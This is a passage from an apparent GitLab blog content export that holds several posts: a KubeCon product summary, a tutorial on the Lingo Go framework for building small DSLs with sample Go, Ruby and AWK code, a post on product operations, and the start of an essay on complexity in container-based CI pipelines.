strategy for a built-in secrets management solution](/direction/govern/pipeline_security/secrets_management/#next-9-12-monhts). In order to provide our users/customers with choice, GitLab wants to use Hashicorp Vault for secrets management handling. We believe that our approach should be not to build the logic ourselves but to leverage an open source, [cloud native](/topics/cloud-native/) project that we could build into GitLab.\n\n## Infrastructure integrations\n\nInfrastructure integrations came in several flavors during the talks. Some are about cluster management, that is not our focus in this blog. Several presentations show that internal platforms need a strong infrastructure aspect, too. When a new project/microservice is started, it might require a new namespace in the cluster with associated RBAC and policies, optionally storage, a source code management repo with automation, and the appropriate permissions. Deployments might create ephemeral environments or could modify the underlying environment within predefined constraints.\n\nThe top tools mentioned in this area are:\n\n- Terraform\n- Crossplane\n- Pulumi\n\n### How does this affect our roadmap?\n\nGitLab already has [great integrations for Terraform](https://docs.gitlab.com/ee/user/infrastructure/iac/), and the other tools are on our radar, too.\n\nWe are open to integrations but cannot currently prioritize the other integrations on our own. We hope that the community will be interested in contributing to benefit everyone.\n\nBuilding Docker containers might not be necessary to get easy-to-manage container binaries. WASM runtimes become available for Kubernetes, and many programming languages can natively compile to WASM. WASM can provide a secure runtime environment without Docker and might be able to simplify the toolchain developers need to learn.\n\nWe don't plan to add direct WASM support to GitLab yet. The generic package registry can hold WASM modules while their deployment is up to the user.\n\nAt the same time, we see a lot of potential in simple runtime environments built around WASM. While GitLab is not in the business of offering runtime services, we will be actively monitoring the market. We might look into more WASM integrations as we see more demand and tools and services maturing in this space.\n\n## GitLab feedback\n\nIt's great to work on a product where the overall sentiment is positive, both from customers that intensely rely on it and from attendees that have to use other tools but would love to use GitLab or just started to play with it recently.\n\nWe received the following notable mentions as feedback:\n\n- Stability and reliability improved over the last several months.\n- Users love our documentation (primarily around CI) - they mentioned it's easy to use and get started with.\n- Given the size of GitLab and the number of our users, we received feedback about long-outstanding issues. We were happy to respond that we are addressing at least some of them shortly.\n- Several customers had asked if we got some resources for migrating from Jenkins to GitLab.\n- A few customers mentioned that they had to move away from GitLab mainly because of an upper-level decision despite favouring GitLab.\n\n## Conclusions\n\n![The GitLab team](https://about.gitlab.com/images/blogimages/kubecon-gitlab-team.jpg)\n\nWe enjoyed all the talks and were delighted to meet and speak with our users and customers. Thanks to all of you, we could \"feel the pulse\" on how we are doing and validate our direction.\n\nWe hope that this blog will guide those who could not [attend KubeCon](https://about.gitlab.com/events/kubecon/) and serve as a summary for those who did attend. All the recordings will likely be available on YouTube from Jun 6, 2022.\n\nLet us know in the comments if you think we missed some important direction.\n\n_This blog post and linked pages contain information related to upcoming products, features, and functionality.\nIt is important to note that the information presented is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab Inc._\n",[2509,1384,1385,534,3949,4103],{"slug":13914,"featured":6,"template":678},"the-kubecon-summary-from-a-product-perspective","content:en-us:blog:the-kubecon-summary-from-a-product-perspective.yml","The Kubecon Summary From A Product Perspective","en-us/blog/the-kubecon-summary-from-a-product-perspective.yml","en-us/blog/the-kubecon-summary-from-a-product-perspective",{"_path":13920,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13921,"content":13927,"config":13932,"_id":13934,"_type":16,"title":13935,"_source":17,"_file":13936,"_stem":13937,"_extension":20},"/en-us/blog/a-go-micro-language-framework-for-building-dsls",{"title":13922,"description":13923,"ogTitle":13922,"ogDescription":13923,"noIndex":6,"ogImage":13924,"ogUrl":13925,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13925,"schema":13926},"Lingo: A Go micro language framework for building Domain Specific Languages","Design, build and integrate your own Domain Specific Language with Lingo.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682320/Blog/Hero%20Images/typeset.png","https://about.gitlab.com/blog/a-go-micro-language-framework-for-building-dsls","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Lingo: A Go micro language framework for building Domain Specific Languages\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Julian Thome\"}],\n        \"datePublished\": \"2022-05-26\",\n      }",{"title":13922,"description":13923,"authors":13928,"heroImage":13924,"date":13929,"body":13930,"category":813,"tags":13931},[2948],"2022-05-26","\n\nDomain Specific Languages (DSL) are small, focused languages with a narrow\ndomain of applicability. DSLs are tailored towards their target domain so that\ndomain experts can formalize ideas based on their knowledge and background.\n\nThis makes DSLs powerful tools that can be used for the purpose of increasing\nprogrammer efficiency by being more expressive in their target\ndomain, compared to general purpose languages, and by providing concepts to\nreduce the cognitive load on their users.\n\nConsider the problem of summing up the balances of different bank accounts in a\nCSV file. A sample CSV file is provided in the example below where the first\ncolumn contains the name of the account holder and the second column contains\nthe account balance.\n\n``` csv\nname, balance\nLisa, 100.30\nBert, 241.41\nMaria, 151.13\n```\n\nYou could solve the problem of summing up balances by using a general-purpose\nlanguage such as [Ruby](https://www.ruby-lang.org/en/) as in the code snippet\nbelow. Apart from the fact that the code below is not very robust, it contains\na lot of boilerplate that is irrelevant to the problem at hand, i.e., summing\nup the account balances.\n\n``` ruby\n#!/usr/bin/env ruby\n\nexit(1) if ARGV.empty? || !File.exist?(ARGV[0])\n\nsum = 0\nFile.foreach(ARGV[0]).each_with_index do |line, idx|\n  next if idx == 0\n  sum += Float(line.split(',')[1])\nend\n\nputs sum.round(2)\n```\n\nBelow is an example [AWK script](https://en.wikipedia.org/wiki/AWK) that solves\nthe same problem. AWK is a DSL that was specifically designed to address\nproblems related to text-processing.\n\n``` awk \n#!/usr/bin/awk -f\n\nBEGIN{FS=\",\"}{sum+=$2}END{print sum}\n```\n\nThe Ruby program has a size of 208 characters, whereas the AWK program has a size of 56. The AWK program is roughly 4x smaller than its Ruby\ncounterpart. In addition, the AWK implementation is more robust by being less\nprone to glitches that may appear in the CSV file (e.g., empty newlines,\nwrongly formatted data-fields). The significant difference in terms of size\nillustrates that DSLs, by being more focused on solving specific problems, can\nmake their users more productive by sparing them the burden to write\nboilerplate code and narrowing the focus of the language on the problem at\nhand.\n\nSome popular DSLs most software developers use on a regular basis include\n[Regular Expressions](https://en.wikipedia.org/wiki/Regular_expression) for\npattern matching, AWK for text\ntransformation or [Standard Query Language](https://en.wikipedia.org/wiki/SQL)\nfor interacting with databases.\n\n## Challenges when designing Domain Specific Languages\n\nPrototyping, designing and evolving DSLs is a\nchallenging process. In our experience this is an exploratory cycle where you\nconstantly prototype ideas, incorporate them into the language, try them out in\nreality, collect feedback and improve the DSL based on the feedback. \n\nWhen designing a DSL, there are many components that have to be implemented and\nevolved. At a very high level there are two main components: the language\nlexer/parser and the language processor. The lexer/parser\nis the component that accepts input as per the language definition which is\nusually specified specified by means of a language grammar. The parsing/lexing\nphase produces a syntax tree which is then passed onto the language processor.\nA language processor evaluates the syntax tree. In the example we saw earlier,\nwe ran both the Ruby and AWK interpreters providing our scripts and the CSV\nfile as input; both interpreters evaluated the scripts and this evaluation\nyielded the sum of all the account balances as a result.\n\nTools such as parser generators can significantly reduce the effort of\nlexer/parser development by means of code generation. Sophisticated DSL\nframeworks such as [JetBrains MPS](https://www.jetbrains.com/mps/) or\n[Xtext](https://www.eclipse.org/Xtext/) also provide features that help\nimplement custom language support in IDEs. However, if present at all, the\nsupport for building the language processors is usually limited to generating\nplaceholders functions or boilerplate code for the language components that\nhave to be filled-in by the DSL developer. Moreover, such large and powerful DSL\nframeworks usually have a fairly steep learning curve so that they are probably\na better fit for more sophisticated DSLs as opposed to small, easily\nembeddable, focused languages, which we refer to as _micro languages_.\n\nIn some situations, it may be worth considering working around these problems\nby just relying on standard data exchange formats such as `.toml`, `.yaml` or\n`.json` as a means of configuration. Similar to the parser generators, using\nsuch a format may relieve some of the burden when it comes to parser\ndevelopment effort. However, this approach does not help when it comes to the\nimplementation of the actual language processor. In addition, most standard data\nexchange formats are inherently limited to representing data in terms of simple\nconcepts (such as lists, dictionaries, strings and numbers). This limitation\ncan lead to bloated configuration files quickly as shown in the following\nexample.\n\nImagine the development of a calculator that operates on integers using\nmultiplication `*`, addition `+`. When using a data-description language like\nYAML in the example below, you can see that even a small simple term like `1 + 2 * 3 + 5` \ncan be hard to reason about, and by adding more terms the configuration\nfile would get bloated quickly.\n\n``` yaml\nterm:\n  add: \n    - 1\n    - times:\n      - 2\n      - 3\n    - 5\n```\n\nThis blog post is focused on the design of micro languages. The core idea is to\nprovide a simple, extensible language core that can be easily extended with\ncustom-types and custom functions; the language can evolve without having\nto touch the parser or the language processor. Instead, the DSL designer can\njust focus on the concepts that ought to be integrated into the DSL by\nimplementing interfaces and \"hooking\" them into the core language\nimplementation.\n\n## Lingo: A micro language framework for Go\n\nAt GitLab, Go is one of our main programming languages and some of the tools we\ndevelop required their own, small, embeddable DSLs so that users could properly\nconfigure and interact with them. \n\nInitially, we tried to integrate already existing, embeddable and expandable\nlanguage implementations. Our only condition was that they had to be\nembeddable natively into a Go application. We explored several great free and\nopen-source (FOSS) projects such as [go-lua](https://github.com/Shopify/go-lua)\nwhich is Lua VM implemented in Go, [go-yeagi](https://github.com/traefik/yaegi)\nwhich provides a Go interpreter with which Go can be used as a scripting\nlanguage or [go-zygomys](https://github.com/glycerine/zygomys) which is a LISP\ninterpreter written in Go. However, these packages are essentially modules to\nintegrate general-purpose languages on top of which a DSL could be built. These modules ended up being fairly complex. In contrast, we wanted to have basic support to design, implement, embed and evolve DSLs natively into a Go\napplication that is flexible, small, simple/easy to grasp, evolve and\nadapt.\n\nWe were looking for a micro language framework with the properties listed below:\n\n1. Stability: Changes applied to the DSL should neither require any changes to the core lexer/parser implementation nor to the language processor implementation.\n1. Flexibility/Composability: New DSL concepts (data-types, functions) can be integrated via a simple plug-in mechanism.\n1. Simplicity: the language framework should have just\nenough features to provide a foundation that is powerful enough to implement\nand evolve a custom DSL. In addition, the whole implementation of the micro\nlanguage framework should be in pure Go so that it is easily embeddable in Go\napplications.\n\nSince none of the available FOSS tools we looked at was able to\nfulfill all of those requirements, we developed our own micro language framework\nin Go called Lingo which stands for \"**L**ISP-based Domain Specific Languages\n(DSLs) **in Go**\". Lingo is completely FOSS and available in the [Lingo Git repository](https://gitlab.com/gitlab-org/vulnerability-research/foss/lingo)\nunder the free and open source space of the [Vulnerability Research Team](https://about.gitlab.com/handbook/engineering/development/sec/secure/vulnerability-research/).\n\n[Lingo](https://gitlab.com/gitlab-org/vulnerability-research/foss/lingo)\nprovides a foundation for building DSLs based on Symbolic Expressions (S-expressions), i.e.,\nexpressions provided in the form of nested lists `(f ...)` where `f` can be\nconsidered as the placeholder that represents the function symbol. Using this format,\nthe mathematical term we saw earlier could be written as S-expression `(+ 1 (* 2 3) 5)`. \n\nS-expressions are versatile and easy to process due to their uniformity. In\naddition, they can be used to represent both code and data in a consistent\nmanner.\n\nWith regards to the Stability, Flexibility and Composability properties, \n[Lingo](https://gitlab.com/gitlab-org/vulnerability-research/foss/lingo)\nprovides a simple plug-in mechanism to add new functions as well as types\nwithout having to touch the core parser or language processor. From the\nperspective of the S-expression parser, the actual function symbol is\nessentially irrelevant with regards to the S-expression parsing. The language processor is just evaluating S-expressions and dispatching the execution to the interface implementations. These implementations are provided by the plug-ins based on the function symbol.\n\nWith regards to Simplicity, the Lingo code base is roughly 3K lines of pure Go code including the lexer/parser, an\nengine for code transformation, and the interpreter/evaluator. The small size\nshould make it possible to understand the entirety of the implementation.  \n\nReaders that are interested in the technical details of\nLingo itself can have a look at the\n[README.md](https://gitlab.com/gitlab-org/vulnerability-research/foss/lingo/-/blob/main/README.md)\nwhere the implementation details and the used theoretical foundations are explained.\nThis blog post focuses on how\nLingo can be used to build a DSL from scratch.\n\n## Using Lingo to design a data generation engine\n\nIn this example we are designing a data-generation engine in Go using\nLingo as a foundation. Our data generation engine may be used to generate structured input\ndata for fuzzing or other application contexts. This example illustrates how\nyou can use Lingo to create a language and the corresponding language\nprocessor. Going back to the example from the beginning, let us assume we would\nlike to generate CSV files in the format we saw at the beginning covering\naccount balances.\n\n``` csv\nname, balance\nLisa, 100.30\nBert, 241.41\nMaria, 151.13\n```\n\nOur language includes the following functions:\n\n1. `(oneof s0, s1, ..., sN)`: randomly returns one of the parameter strings `sX` (0 \u003C= X \u003C= N).\n1. `(join e0, e1, ..., eN)`: joins all argument expressions and concatenates their string representation `eX` (0 \u003C= X \u003C= N).\n1. `(genfloat min max)`: generates a random float number X (0 \u003C= X \u003C= N) and returns it.\n1. `(times num exp)`: repeats the pattern generated by exp num times.\n\nFor this example we are using\nLingo to build the language and the language processor to automatically generate CSV\noutput which we are going to feed back into the Ruby and AWK programs we saw in\nthe introduction in order to perform a stress test on them. \n\nWe refer to our new language/tool as _Random Text Generator_ (RTG) `.rtg`.\nBelow is a sample script `script.rtg` we'd like our program to digest in order\nto randomly generate CSV files. As you can see in the example below, we are\njoining sub-strings starting with the CSV header `name, balance`\nafter which we randomly generate 10 lines of names and balance amounts. In\nbetween, we also randomly generate some empty lines.\n\n```\n(join \n  (join \"name\" \",\" \"balance\" \"\\n\")\n  (times 10 \n    '(join \n      (oneof \n        \"Jim\" \n        \"Max\" \n        \"Simone\" \n        \"Carl\" \n        \"Paul\" \n        \"Karl\" \n        \"Ines\" \n        \"Jane\" \n        \"Geralt\" \n        \"Dandelion\" \n        \"Triss\" \n        \"Yennefer\" \n        \"Ciri\") \n      \",\" \n      (genfloat 0 10000) \n      \"\\n\" \n      (oneof \"\" \"\\n\"))))\n```\n\nOur engine takes the script above written in RTG and generates random CSV\ncontent. Below is an example CSV file generated from this script.\n\n``` csv\nname,balance\nCarl,25.648205\nInes,11758.551\n\nCiri,13300.558\n...\n```\n\nFor the remainder of this section, we explore how we can implement a\ndata generation engine based on Lingo. The implementation of RTG requires\nthe two main ingredients: (1) a float data type and a result object to integrate a float\nrepresentation and (2) implementations for the `times`, `oneof`, `genfloat` and\n`join` functions.\n\n### Introducing a float data type and result objects\n\nLingo differentiates between data types and result objects. Data types indicate how data is\nmeant to be used and result objects are used to pass intermediate results\nbetween functions where every result has a unique type. In the code snippet\nbelow, we introduce a new `float` data type. The comments in the code snippet below\nprovide more details.\n\n``` go \n// introduce float type\nvar TypeFloatId, TypeFloat = types.NewTypeWithProperties(\"float\", types.Primitive)\n// introduce token float type for parser\nvar TokFloat = parser.HookToken(parser.TokLabel(TypeFloat.Name))\n\n// recognize (true) as boolean\ntype FloatMatcher struct{}\n\n// this function is used by the parser to \"recognize\" floats as such\nfunc (i FloatMatcher) Match(s string) parser.TokLabel {\n  if !strings.Contains(s, \".\") {\n    return parser.TokUnknown\n  }\n\n  if _, err := strconv.ParseFloat(s, 32); err == nil {\n\treturn TokFloat.Label\n  }\n\n  return parser.TokUnknown\n}\nfunc (i FloatMatcher) Id() string {\n  return string(TokFloat.Label)\n}\n\nfunc init() {\n  // hook matcher into the parser\n  parser.HookMatcher(FloatMatcher{})\n}\n```\n\nIn addition, we also require a result object which we can use to pass around\nfloat values. This is an interface implementation where most of the functions names\nare self-explanatory. The important bit is the `Type` function\nthat returns our custom `float` type we introduced in the last snippet.\n\n``` go\ntype FloatResult struct{ Val float32 }\n// deep copy\nfunc (r FloatResult) DeepCopy() eval.Result { return NewFloatResult(r.Val) }\n// returns the string representation of this result type\nfunc (r FloatResult) String() string {\n  return strconv.FormatFloat(float64(r.Val), 'f', -1, 32)\n}\n// returns the data type for this result type\nfunc (r FloatResult) Type() types.Type   { return custtypes.TypeFloat }\n// call-back that is cleaned up when the environment is cleaned up\nfunc (r FloatResult) Tidy()              {}\n\nfunc (r FloatResult) Value() interface{} { return r.Val }\nfunc (r *FloatResult) SetValue(value interface{}) error {\n  boolVal, ok := value.(float32)\n  if !ok {\n    return fmt.Errorf(\"invalid type for Bool\")\n  }\n  r.Val = boolVal\n  return nil\n}\nfunc NewFloatResult(value float32) *FloatResult {\n  return &FloatResult{\n    value,\n  }\n}\n```\n\n### Implementing the DSL functions\n\nSimilar to the data type and return object, implementation of a DSL function is\nas simple as implementing an interface. In the example below we implement the\n`genfloat` function as an example. The most important parts are the `Symbol()`,\n`Validate()` and `Evaluate()` functions. The `Symbol()` function returns the\nfunction symbol which is `genfloat` in this particular case. \n\nBoth, the `Validate()` and `Evaluate()` functions take the environment `env`\nand the parameter Stack `stack` as the parameter. The environment is used to store\nintermediate results which is useful when declaring/defining variables. The `stack` includes the input parameters of the function. For\n`(genfloat 0 10000)`, the stack would consist out of two `IntResult` parameters\n`0` and `10000` where `IntResult` is a standard result object already provided by the\ncore implementation of Lingo. `Validate()` makes sure that the parameter can be\ndigested by the function at hand, whereas `Evaluate()` actually invokes the\nfunction. In this particular case, we are generating a float value within the\nspecified range and return the corresponding `FloatResult`.\n\n``` go\ntype FunctionGenfloat struct{}\n\n// returns a description of this function\nfunc (f *FunctionGenfloat) Desc() (string, string) {\n  return fmt.Sprintf(\"%s%s %s%s\",\n    string(parser.TokLeftPar),\n    f.Symbol(),\n\t\"min max\",\n\tstring(parser.TokRightPar)),\n\t\"generate float in rang [min max]\"\n}\n\n// this is the symbol f of the function (f ...)\nfunc (f *FunctionGenfloat) Symbol() parser.TokLabel {\n  return parser.TokLabel(\"genfloat\")\n}\n\n// validates the parameters of this function which are passed in\nfunc (f *FunctionGenfloat) Validate(env *eval.Environment, stack *eval.StackFrame) error {\n  if stack.Size() != 2 {\n    return eval.WrongNumberOfArgs(f.Symbol(), stack.Size(), 2)\n  }\n\n  for idx, item := range stack.Items() {\n    if item.Type() != types.TypeInt {\n\t  return eval.WrongTypeOfArg(f.Symbol(), idx+1, item)\n\t}\n  }\n  return nil\n}\n\n// evaluates the function and returns the result\nfunc (f *FunctionGenfloat) Evaluate(env *eval.Environment, stack *eval.StackFrame) (eval.Result, error) {\n  var result float32\n  rand.Seed(time.Now().UnixNano())\n  for !stack.Empty() {\n    max := stack.Pop().(*eval.IntResult)\n    min := stack.Pop().(*eval.IntResult)\n\n\tminval := float32(min.Val)\n\tmaxval := float32(max.Val)\n\n\tresult = minval + (rand.Float32() * (maxval - minval))\n  }\n\n  return custresults.NewFloatResult(result), nil\n}\n\nfunc NewFunctionGenfloat() (eval.Function, error) {\n  fun := &FunctionGenfloat{}\n  parser.HookToken(fun.Symbol())\n  return fun, nil\n}\n```\n\n### Putting it all together\n\nAfter implementing all the functions, we only have to register/integrate them\n(`eval.HookFunction(...)`) so that Lingo properly resolves them when processing\nthe program. In the example below, we are registering all of the custom functions\nwe implemented, i.e., `times`, `oneof`, `join`, `genfloat`. The `main()`\nfunction in the example below includes the code required to evaluate our script\n`script.rtg`.\n\n``` go\n// register function\nfunc register(fn eval.Function, err error) {\n  if err != nil {\n    log.Fatalf(\"failed to create %s function %s:\", fn.Symbol(), err.Error())\n  }\n  err = eval.HookFunction(fn)\n  if err != nil {\n    log.Fatalf(\"failed to hook bool function %s:\", err.Error())\n  }\n}\n\nfunc main() {\n  // register custom functions\n  register(functions.NewFunctionTimes())\n  register(functions.NewFunctionOneof())\n  register(functions.NewFunctionJoin())\n  register(functions.NewFunctionGenfloat())\n  register(functions.NewFunctionFloat())\n  if len(os.Args) \u003C= 1 {\n    fmt.Println(\"No script provided\")\n    os.Exit(1)\n  }\n  // evaluate script\n  result, err := eval.RunScriptPath(os.Args[1])\n  if err != nil {\n    fmt.Println(err.Error())\n    os.Exit(1)\n  }\n\n  // print output\n  fmt.Printf(strings.ReplaceAll(result.String(), \"\\\\n\", \"\\n\"))\n\n  os.Exit(0)\n}\n```\n\nThe source code for RTG is available\n[here](https://gitlab.com/julianthome/lingo-example). You can find information\nabout how to build and run the tool in the\n[README.md](https://gitlab.com/julianthome/lingo-example/-/blob/main/README.md).\n\nWith approx. 300 lines of Go code, we have successfully designed a language and\nimplemented a language processor. We can now use RTG to test the robustness of\nthe Ruby (`computebalance.rb`) and AWK scripts (`computebalance.awk`) we used\nat the beginning to sum up account balances. \n\n``` bash\ntimeout 10 watch -e './rtg script.rtg > out.csv && ./computebalance.awk out.csv'\ntimeout 10 watch -e './rtg script.rtg > out.csv && ./computebalance.rb out.csv'\n```\n\nThe experiment above shows that the files generated by means of RTG can be\nproperly digested by the AWK script which is much more robust since it can cope\nwith the all generated CSV files. In contrast, executing of the Ruby script\nresults in errors because it cannot properly cope with newlines as they appear\nin the CSV file.\n\nCover image by [Charles Deluvio](https://unsplash.com/@kristianstrand) on [Unsplash](https://unsplash.com/photos/p8gzCnZf39k)\n{: .note}\n\n",[2368,696,754],{"slug":13933,"featured":6,"template":678},"a-go-micro-language-framework-for-building-dsls","content:en-us:blog:a-go-micro-language-framework-for-building-dsls.yml","A Go Micro Language Framework For Building Dsls","en-us/blog/a-go-micro-language-framework-for-building-dsls.yml","en-us/blog/a-go-micro-language-framework-for-building-dsls",{"_path":13939,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13940,"content":13946,"config":13952,"_id":13954,"_type":16,"title":13955,"_source":17,"_file":13956,"_stem":13957,"_extension":20},"/en-us/blog/keys-to-success-for-product-operations",{"title":13941,"description":13942,"ogTitle":13941,"ogDescription":13942,"noIndex":6,"ogImage":13943,"ogUrl":13944,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13944,"schema":13945},"3 keys to success for product operations","Learn how to set a foundation for product operations at your organization.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682313/Blog/Hero%20Images/prodops-keys-elena-mozhvilo-Lp9uH9s9fss-unsplash.jpg","https://about.gitlab.com/blog/keys-to-success-for-product-operations","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 keys to success for product operations\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Farnoosh Seifoddini\"}],\n        \"datePublished\": \"2022-05-24\",\n      }",{"title":13941,"description":13942,"authors":13947,"heroImage":13943,"date":13949,"body":13950,"category":6634,"tags":13951},[13948],"Farnoosh Seifoddini","2022-05-24","\n\nIt is official. Product operations is a thing. A quick Google search will pull up a long list of articles singing the praises of everything product operations has to offer, from making product managers more efficient to data collection and synthesis. \n\nWhen I first took on [product operations at GitLab](/direction/product-operations/), there wasn’t a lot of definition or guidance on the topic. I understood what product operations meant because I’d been “doing it” as an inseparable part of my product management and product leadership roles for some years. But I’d never had the opportunity to focus solely on product operations.\n\nAs excited as I was, I was also nervous. GitLab was [accelerating toward an IPO](/blog/gitlab-inc-takes-the-devops-platform-public/) and both the product management team and the product were in hyper growth mode. And, to boot, the all-remote, cross-functional teams were in motion, sync and async, day and night, all around the globe. So, I reached out to peers who had already started their product operations journey and leveraged the perspective, progress, and learnings they generously shared. And, in doing so, I realized everyone was doing it a bit differently. \n\nNow, two and a half years later, product operations is a thing at GitLab. And the most common question I get from peers reaching out to me is: How can I set up product operations for success at my organization? \n\nTo answer this question, I will assume we all want to be product-led and customer-centered, and “success” would be product operations helping us get there. I’ll also assume we agree with the sentiment that’s evolved [defining product operations responsibility](https://www.pendo.io/glossary/product-operations/) to fall into these core areas: tools, data, experimentation, strategy, and trusted advisor. \n\nWhile there is no one formula, I will share three keys that opened doors for product operations to make an impact and grow with GitLab.\n\n### 1. Empower product operations as its own function, with an equal seat alongside other value-driving functions\n\nAt GitLab, we run product operations as an independent function under the product umbrella. The direct line of responsibility to the head of all product ensures product operations has awareness, alignment, and accountability to the macro needs of the product and the business. This also allows product operations to maintain a broad and unbiased view, as well as the right level of influence, to develop strategies/tactics serving the product and the business without favor toward any particular group. This [Silicon Valley Product Group article](https://www.svpg.com/product-ops-overview/) by Marty Cagan provides more helpful context on the why of this approach. \n\n### 2. Make product operations a people-first operation\n\nBefore product operations can deliver on efficiencies and tools that are useful for the product and the business, product operations must understand all of its internal customers. The first year product operations took shape at GitLab, much of my energy was focused on building relationships, not only with product team members but across the whole organization. Becoming a trusted advisor runs deeper than just delivering data, it’s about sensing pain and building bridges. A product operations team that leads with empathy will elevate the organization rather than just serve the organization. \n\n### 3. Drive adoption of product operations strategies by providing opportunities for team ownership\n\nAt GitLab, [everyone can contribute](/company/mission/#everyone-can-contribute). Leveraging this mindset for product operations led to [more impactful and better-designed iterations](https://handbook.gitlab.com/handbook/values/#iteration) to the problems we were trying to solve. By collaborating with various team members across the organization to improve and implement the shared frameworks in the product system, we not only ensure better multi-dimensional solutions but also boost alignment and acceptance of the solutions as well. This approach also inspires team ownership of flexible workflows rather than a perception that product operations is the “enforcer” of rigid processes. \n\nThese three keys become more challenging to forge if they aren’t introduced to an organization early on. Even if not immediately feasible, it’s helpful to carve space for the philosophy upfront and start small to demonstrate the value of the approach as you build the foundation for product operations. In future posts, I will share strategies and tactics for each of these keys as well as answer the second most common question I get: What is a “product system”? \n\nIn the meantime, feel free to learn more about [what product operations drives](/direction/product-operations/) at GitLab and the product management resources we maintain in our [Product Handbook](/handbook/product/).\n\n\n\nCover image by [Elena Mozhvilo](https://unsplash.com/@miracleday?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/)\n",[2368,676,1444,3798],{"slug":13953,"featured":6,"template":678},"keys-to-success-for-product-operations","content:en-us:blog:keys-to-success-for-product-operations.yml","Keys To Success For Product Operations","en-us/blog/keys-to-success-for-product-operations.yml","en-us/blog/keys-to-success-for-product-operations",{"_path":13959,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13960,"content":13965,"config":13970,"_id":13972,"_type":16,"title":13973,"_source":17,"_file":13974,"_stem":13975,"_extension":20},"/en-us/blog/second-law-of-complexity-dynamics",{"title":13961,"description":13962,"ogTitle":13961,"ogDescription":13962,"noIndex":6,"ogImage":12013,"ogUrl":13963,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13963,"schema":13964},"How pursuit of simplicity complicates container-based CI","Simplicity always has a certain player in mind - learn how to avoid antipatterns by ensuring simplicity themes do not compromise your productivity by over-focusing on machine efficiencies.","https://about.gitlab.com/blog/second-law-of-complexity-dynamics","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"When the pursuit of simplicity creates complexity in container-based CI pipelines\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"}],\n        \"datePublished\": \"2022-05-24\",\n      }",{"title":13966,"description":13962,"authors":13967,"heroImage":12013,"date":13949,"body":13968,"category":734,"tags":13969},"When the pursuit of simplicity creates complexity in container-based CI pipelines",[1244],"\n\nIn a GitLab book club, I recently read \"[The Laws of Simplicity](http://lawsofsimplicity.com/),\" a great book on a topic that has deeply fascinated me for many years. The book contains an acronym that expresses simplicity generation approaches: SHE, which stands for \"shrink, hide, embody.\" These three approaches for simplicity generation all share a common attribute: They are all creating illusions - not eliminations.\n\nI've seen this illusion repeat across many, many realms of pursuit for many years. Even in human language, vocabulary development, jargon, and acronyms all simply encapsulate worlds of complexity that still exist, but can be more easily referenced in a compact form that performs SHE on the world of concepts.\n\nAny illusion has a boundary or curtain where in front of the curtain the complexity can be dealt with by following simple rules, but, behind the curtain, the complexity must be managed by a stage manager. \n\nFor instance, when the magic show creates the spectre of sawing people in half, what appears to be a simple box is in fact an exceedingly elaborate contraption. Not only that, but the manufacturing process for an actual simple box and the sawing box are markedly different in terms of complexity. The manufacturing of complexity and its result are essentially the tradeoff for what would be the real-world complexity of actually sawing people in half and having them heal and stand up unharmed immediately afterward.\n\nTo bring this into the technical skills realm, consider that when you leverage a third-party component or API to add functionality, you only need to know the parameters to obtain the desired result. The people maintaining that component or API must know the quantum mechanics detail level of how to perform that work in a reliable and complete way.\n\nDocker containers are a mechanism for embodying complexity, and are used in scaled applications and within container-based CI. When a [CI/CD](/topics/ci-cd/) automation engineer uses container-based CI, it is possible to make things more complex and more expensive when attempting to do exactly the opposite.\n\nAt its core, this post is concerned with how it can happen that pursuing a simpler world through containers can turn into an antipattern - a reversal of desired outcomes - many times, without us noticing that the reversal is affecting our productivity. The prison of a paradigm is secure indeed.\n\n### The Second Law of Complexity Dynamics\n\nOver the years I have come to believe that the pursuit of reducing complexity has similar characteristics to [The Second Law of Thermodynamics](https://www.grc.nasa.gov/www/k-12/airplane/thermo2.html). The net result of a change between mass and energy results in the the same net amount of mass and energy, but their ratio and form have changed. In what I will coin \"The Second Law of Complexity Dynamics,\" complexity is similarly \"conserved,\" it is just reformed.\n\nIf complexity is not eliminated by simplifying efforts, we reduce its impact in a given realm by changing the ratio of complexity and simplicity on each side of one or more curtains. But alas, complexity did not die, it just hid and is now someone else's management challenge. It is important not to think of this as cheating. There is no question that hiding complexity carries the potential for massive efficiency gains when the world behind the hiding mechanisms becomes the realm of specialty skills and specialists. When it truly externalizes the complexity management for one party, the world becomes more simple for that party.\n\nHowever, the devil is in the details. If the hypothesis of \"no net elimination of complexity\" is correct, it is then important where the complexity migrates to. If it migrates to another part of the same process that must also be managed by the same people, then it may not result in a net gain of efficiency. If it migrates out of a previously embodied realm, then, in the pusuit of simplicity, we can actually reduce our overall efficiency when the process is considered as a whole.\n\n### Container-based CI pipelines as a useful case in point\n\nI see the potential for efficiency reversals to crop up in my daily work time and again, and an interesting place where I've seen it lately is in the tradeoff of linking together hyper-specialized modules of code in containers for CI versus leveraging more generalized modules.\n\nIn creating container-based pipelines, I experience the potential for an efficiency reversal I have to consciously manage.\n\nContainers make a simplicity tradeoff by design. They create a full runtime environment for a very single purpose but in doing so they strip back the container internals so far that general compute tasks are difficult inside them. If you step behind their \"complexity embodying\" curtain into the container, their simplistic environment can require more complex code to operate within.\n\nIn GitLab CI pipelines that utilize containers, all the scripts of jobs run inside the containers that are specified as their runtime environment. When one selects a specialized container - such as the alpine git container or the skopeo image management container - the code is subject to the limitations of the shell that container employs (if it has one at all).\n\nContainers were devised to be hyper-specialized, purpose-specific runtimes that assure they can always run and run quickly for scaled applications. However, for many containers this means no shell or a very stripped back shell like busybox sh. It frequently also means not including the package manager for the underlying Linux 